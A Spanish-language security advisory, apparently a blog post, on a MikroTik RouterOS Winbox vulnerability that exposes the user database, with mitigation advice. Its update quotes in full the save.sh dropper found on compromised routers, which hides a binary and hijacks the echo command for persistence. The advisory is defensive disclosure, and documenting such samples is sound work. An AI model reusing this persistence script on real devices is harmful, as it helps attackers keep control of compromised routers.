Alerta de seguridad: Vulnerabilidad explotando el puerto del Winbox
En el día de hoy MikroTik ha publicado un alerta de seguridad sobre una vulnerabilidad en el RouterOS que afecta a todas las versiones desde la v6.29.
Según el alerta, indica que la vulnerabilidad ha sido descubierta por ellos mismos y que recomiendan actualizar ASAP (lo mas pronto posible).
La vulnerabilidad permite a una «herramienta especial» conectar al puerto del Winbox y poder solicitar la base de datos de los usuarios del sistema.
Para tomar una medida al respecto se recomienda:
- Actualizar a la v6.42.1 y v6.43rc4 *Con precaución (leer mas adelante)
- Cerrar el puerto del Winbox para el acceso publico mediante un address list y el firewall en el chain input
- Limitar el rango de IP permitidos en ip > service > winbox a las redes locales unicamente.
- Cambiar las contraseñas de los usuarios.
Es importante tener en cuenta que en las recientes versiones del RouterOS existe un nuevo esquema en el manejo del bridge, porque lo hay que tener ciertas precauciones al actualizar debido a que se han dado casos de actualizaciones fallidas en configuraciones que tienen bridge y utilizan el chip switch.
En caso de equipos que se encuentren en producción y no es posible actualizar rápidamente el sistema operativo, es mandatorio que se cierre el acceso del winbox y cambiar las contraseñas de los usuarios.
Por el momento no es posible conocer o detectar que el sistema ha sido vulnerado, por lo que también se recomienda aplicar el punto anterior.
Mas información en el foro de MikroTik sobre el anuncio oficial.
ACTUALIZACION:
Algunos usuarios están reportan que detectan dos archivos dentro de files con el nombre de dnstest con contenido binario y save.sh con el siguiente contenido:
#!/bin/ash case "$PATH" in */usr/local/bin*) # old versions dest="/usr/local/bin/" ;; *) dest="/flash/bin/" if [ ! -d "/flash/" ]; then exit 1 fi ;; esac if [ -f $dest/.dnstest ]; then rm $dest/.dnstest fi if [ -f $dest/echo ]; then rm $dest/echo fi if [ -f $dest/.test ]; then rm $dest/.test fi mkdir -p $dest export PATH=$PATH:$dest chmod a+x /flash/rw/pckg/dnstest cp /flash/rw/pckg/dnstest $dest/.dnstest echo -e "#!/bin/ash\nusleep 180000000\ncp $dest.dnstest /tmp/.dnstest\n/tmp/.dnstest*" > $dest/.test chmod +x $dest/.test echo -e "#!/bin/ash\n/$dest.test&\n/bin/echo \$*" > $dest/echo chmod +x $dest/echo /flash/rw/pckg/dnstest rm save.sh
El intento tiene el siguiente comportamiento:
Como se observa en la siguiente captura, el primer acceso es un intento fallido del winbox, por lo que se presume que tiene el acceso a la DB de usuarios. Luego el acceso es con el usuario con permisos full.